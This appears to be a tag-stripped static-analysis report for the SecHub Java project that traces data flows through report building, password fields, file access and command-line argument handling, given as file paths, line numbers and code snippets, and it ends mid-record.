embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 66 + 53 + 16 + build + + 1 + + + 66 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 76 + 48 + 16 + build + + 1 + + + 76 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 111 + 48 + 16 + build + + 1 + + + 111 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 139 + 48 + 16 + build + + 1 + + + 139 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 149 + 48 + 16 + build + + 1 + + + 149 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 160 + 48 + 16 + build + + 1 + + + 160 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/ScanReportRestControllerMockTest.java + 177 + 26 + 16 + build + + 1 + + + 177 + when(modelBuilder.build(any())).thenReturn(map); + + + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java + 40 + 17 + 1 + password + + 8 + + + 40 + private String password; + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfig.java + 21 + 9 + 1 + password + + 8 + + + 21 + String password; + + + + + + + + + sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterTestApplication.java + 29 + 10 + 1 + password + + 8 + + + 29 + String password = System.getProperty("test.sechub.adapter.nessus.password"); + + + + + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/AbstractMultiInstallSetupTest.java + 22 + 17 + 1 + passwordIntranetTarget + + 22 + + + 22 + private String passwordIntranetTarget; + + + + + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/AbstractMultiInstallSetupTest.java + 21 + 17 + 1 + passwordInternetTarget + + 22 + + + 21 + private String passwordInternetTarget; + + + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 35 + 45 + 1 + getProperty + + 1 + + + 35 + File userDir = new File(System.getProperty("user.dir")); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 35 + 18 + 2 + File + + 3 + + + 35 + File userDir = new File(System.getProperty("user.dir")); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 35 + 8 + 3 + userDir + + 7 + + + 35 + File userDir = new File(System.getProperty("user.dir")); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 36 + 32 + 4 + userDir + + 7 + + + 36 + File gradleFolder = new File(userDir, "gradle"); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 36 + 8 + 5 + gradleFolder + + 12 + + + 36 + File gradleFolder = new File(userDir, "gradle"); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 37 + 8 + 6 + gradleFolder + + 12 + + + 37 + if (!gradleFolder.exists()) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 50 + 7 + 7 + gradleFolder + + 12 + + + 50 + if (gradleFolder.exists()) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 51 + 25 + 8 + gradleFolder + + 12 + + + 51 + detectedGradleRoot = gradleFolder.getParentFile(); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 51 + 51 + 9 + getParentFile + + 1 + + + 51 + detectedGradleRoot = gradleFolder.getParentFile(); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 51 + 4 + 10 + detectedGradleRoot + + 18 + + + 51 + detectedGradleRoot = gradleFolder.getParentFile(); + + + + + sechub-testframework/src/test/java/com/daimler/sechub/test/PackageStructureTest.java + 23 + 29 + 11 + TestFileSupport + + 3 + + + 23 + TestFileSupport support = new TestFileSupport(null); + + + + + sechub-testframework/src/test/java/com/daimler/sechub/test/PackageStructureTest.java + 24 + 15 + 12 + support + + 7 + + + 24 + File root = support.getRootFolder(); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 58 + 10 + 13 + detectedGradleRoot + + 18 + + + 58 + return detectedGradleRoot; + + + + + sechub-testframework/src/test/java/com/daimler/sechub/test/PackageStructureTest.java + 24 + 36 + 14 + getRootFolder + + 1 + + + 24 + File root = support.getRootFolder(); + + + + + sechub-testframework/src/test/java/com/daimler/sechub/test/PackageStructureTest.java + 24 + 8 + 15 + root + + 4 + + + 24 + File root = support.getRootFolder(); + + + + + sechub-testframework/src/test/java/com/daimler/sechub/test/PackageStructureTest.java + 27 + 17 + 16 + root + + 4 + + + 27 + scanner.visit(root, visitor); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 35 + 25 + 17 + file + + 4 + + + 35 + public void visit(File file, PackageSourceVisitor visitor) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 36 + 7 + 18 + file + + 4 + + + 36 + if (file.isDirectory()) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 40 + 21 + 19 + file + + 4 + + + 40 + for (File child: file.listFiles(FILE_FILTER)){ + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 40 + 35 + 20 + listFiles + + 1 + + + 40 + for (File child: file.listFiles(FILE_FILTER)){ + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 35 + 45 + 1 + getProperty + + 1 + + + 35 + File userDir = new File(System.getProperty("user.dir")); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 35 + 18 + 2 + File + + 3 + + + 35 + File userDir = new File(System.getProperty("user.dir")); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 35 + 8 + 3 + userDir + + 7 + + + 35 + File userDir = new File(System.getProperty("user.dir")); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 36 + 32 + 4 + userDir + + 7 + + + 36 + File gradleFolder = new File(userDir, "gradle"); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 36 + 8 + 5 + gradleFolder + + 12 + + + 36 + File gradleFolder = new File(userDir, "gradle"); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 37 + 8 + 6 + gradleFolder + + 12 + + + 37 + if (!gradleFolder.exists()) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 50 + 7 + 7 + gradleFolder + + 12 + + + 50 + if (gradleFolder.exists()) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 51 + 25 + 8 + gradleFolder + + 12 + + + 51 + detectedGradleRoot = gradleFolder.getParentFile(); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 51 + 51 + 9 + getParentFile + + 1 + + + 51 + detectedGradleRoot = gradleFolder.getParentFile(); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 51 + 4 + 10 + detectedGradleRoot + + 18 + + + 51 + detectedGradleRoot = gradleFolder.getParentFile(); + + + + + sechub-testframework/src/test/java/com/daimler/sechub/test/PackageStructureTest.java + 23 + 29 + 11 + TestFileSupport + + 3 + + + 23 + TestFileSupport support = new TestFileSupport(null); + + + + + sechub-testframework/src/test/java/com/daimler/sechub/test/PackageStructureTest.java + 24 + 15 + 12 + support + + 7 + + + 24 + File root = support.getRootFolder(); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 58 + 10 + 13 + detectedGradleRoot + + 18 + + + 58 + return detectedGradleRoot; + + + + + sechub-testframework/src/test/java/com/daimler/sechub/test/PackageStructureTest.java + 24 + 36 + 14 + getRootFolder + + 1 + + + 24 + File root = support.getRootFolder(); + + + + + sechub-testframework/src/test/java/com/daimler/sechub/test/PackageStructureTest.java + 24 + 8 + 15 + root + + 4 + + + 24 + File root = support.getRootFolder(); + + + + + sechub-testframework/src/test/java/com/daimler/sechub/test/PackageStructureTest.java + 27 + 17 + 16 + root + + 4 + + + 27 + scanner.visit(root, visitor); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 35 + 25 + 17 + file + + 4 + + + 35 + public void visit(File file, PackageSourceVisitor visitor) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 36 + 7 + 18 + file + + 4 + + + 36 + if (file.isDirectory()) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 47 + 21 + 19 + file + + 4 + + + 47 + loadAndVisitFile(file, visitor); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 51 + 37 + 20 + file + + 4 + + + 51 + private void loadAndVisitFile(File file, PackageSourceVisitor visitor) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 55 + 89 + 21 + file + + 4 + + + 55 + try (BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file)))) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 55 + 69 + 22 + FileInputStream + + 3 + + + 55 + try (BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file)))) { + + + + + + + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 14 + 35 + 1 + args + + 4 + + + 14 + public static void main(String[] args) throws Exception { + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 19 + 22 + 2 + args + + 4 + + + 19 + String licenseID = args[0]; + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 19 + 10 + 3 + licenseID + + 9 + + + 19 + String licenseID = args[0]; + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 20 + 38 + 4 + licenseID + + 9 + + + 20 + System.out.println("LicenseID='" + licenseID + "'"); + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 20 + 21 + 5 + println + + 1 + + + 20 + System.out.println("LicenseID='" + licenseID + "'"); + + + + + + + + + sechub-server/src/test/java/com/daimler/sechub/domain/schedule/PasswordHasherTestApplication.java + 8 + 35 + 1 + args + + 4 + + + 8 + public static void main(String[] args) { + + + + + sechub-server/src/test/java/com/daimler/sechub/domain/schedule/PasswordHasherTestApplication.java + 10 + 18 + 2 + args + + 4 + + + 10 + String input = args[0]; + + + + + sechub-server/src/test/java/com/daimler/sechub/domain/schedule/PasswordHasherTestApplication.java + 10 + 10 + 3 + input + + 5 + + + 10 + String input = args[0]; + + + + + sechub-server/src/test/java/com/daimler/sechub/domain/schedule/PasswordHasherTestApplication.java + 12 + 31 + 4 + input + + 5 + + + 12 + 